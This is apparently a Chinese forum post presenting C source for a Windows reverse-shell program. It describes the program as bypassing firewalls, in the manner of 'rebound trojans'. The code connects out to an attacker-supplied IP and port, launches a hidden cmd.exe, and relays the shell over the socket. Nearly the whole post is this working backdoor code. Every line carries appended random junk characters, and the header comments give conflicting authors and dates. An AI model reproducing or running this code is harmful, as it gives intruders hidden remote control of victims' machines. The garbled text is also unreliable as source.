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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 J}@GKNm  
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/* ============================== Q]\j>>  
Rebound port in Windows NT IJPgFZ7  
By wind,2006/7 se,Z#H  
===============================*/ 9} *$n&B  
#include ~3=2=Uf  
#include /DU*M,  
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#pragma comment(lib,"wsock32.lib") ;|30QUYh  
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void OutputShell(); treXOC9^B8  
SOCKET sClient; cyMs(21  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 2 sSwDF  
oh\1>3,Ns  
void main(int argc,char **argv) Bp3L>AcVu  
{ SDc" 4g`  
WSADATA stWsaData; #:{6b *}  
int nRet; @ER1zKK?  
SOCKADDR_IN stSaiClient,stSaiServer; x/I;nM Y  
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if(argc != 3) pULsGb  
{ Ae3,^  
printf("Useage:\n\rRebound DestIP DestPort\n"); YMu)  
return; a8JN19}D  
} },PBqWe  
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WSAStartup(MAKEWORD(2,2),&stWsaData); hTTfJDF  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); RgGA$HN/  
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stSaiClient.sin_family = AF_INET; 'v`_Ii|-  
stSaiClient.sin_port = htons(0); 7) 0q--B  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); AgsR-"uh  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) p&5S|![\  
{ EUZq$@uWL  
printf("Bind Socket Failed!\n"); bp%S62Dj  
return; J @B4 R&V  
} k4R4YI"jV  
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stSaiServer.sin_family = AF_INET; ,}<RrUfD  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 76cEKHa<  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); -+P7:4/  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) b *9-}g:  
{ `a'` $'j  
printf("Connect Error!"); a#QBy P  
return; ('d{t:TsY  
} b42QBTeg  
OutputShell(); XRa#2 1pQ  
} @1.9PR$x  
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void OutputShell() ][t 6VA  
{ $8@+j[>  
char szBuff[1024]; W5I=X] &  
SECURITY_ATTRIBUTES stSecurityAttributes; STB-guia5  
OSVERSIONINFO stOsversionInfo; mJ$Htyr  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; CB]l[hM$  
STARTUPINFO stStartupInfo; 6ZksqdP8  
char *szShell; :#SNpn=@  
PROCESS_INFORMATION stProcessInformation; \HG$V>2  
unsigned long lBytesRead; s##Ay{  
^ LbGH<#J  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ohplj`X[21  
6Ahr_{  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 7TdQRB  
stSecurityAttributes.lpSecurityDescriptor = 0; 0||F`24  
stSecurityAttributes.bInheritHandle = TRUE; Ilef+V^qr  
p`p?li  
k<O y%+C  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); n?Zf/T  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Y)OBTX  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); [R\=M'  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8m7;x/0ld  
stStartupInfo.wShowWindow = SW_HIDE; r=0j7^B#  
stStartupInfo.hStdInput = hReadPipe; l0#4Fma  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; $WClpvVj  
* gHCy4u{  
GetVersionEx(&stOsversionInfo); MCHOK=G  
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switch(stOsversionInfo.dwPlatformId) B_tQeM  
{ `sxN!Jj?  
case 1: p z @km  
szShell = "command.com"; 1M/$< kQ-N  
break; tQ[]Rc  
default: 6KB^w0oA  
szShell = "cmd.exe"; [Q:f-<nH  
break; to51hjV  
} u GIr&`S  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); +,wWhhvlzv  
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send(sClient,szMsg,77,0); <S{7Ro  
while(1) e?1KbJ?.  
{ m0C{SBn-M  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); +9_,w bF  
if(lBytesRead) 9.]kOs_  
{ _G[6+g5|  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0);  `~h0?g  
send(sClient,szBuff,lBytesRead,0); HSC6;~U  
} Tplg2p% k  
else `Jqf**t  
{ H\d;QN9Q;  
lBytesRead=recv(sClient,szBuff,1024,0); kw#X]`c3  
if(lBytesRead<=0) break; AbG&9=Ks  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); D@*|24y  
} [tz u;/  
} U\?+s2I)v  
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return; i=V-@|Z  
}
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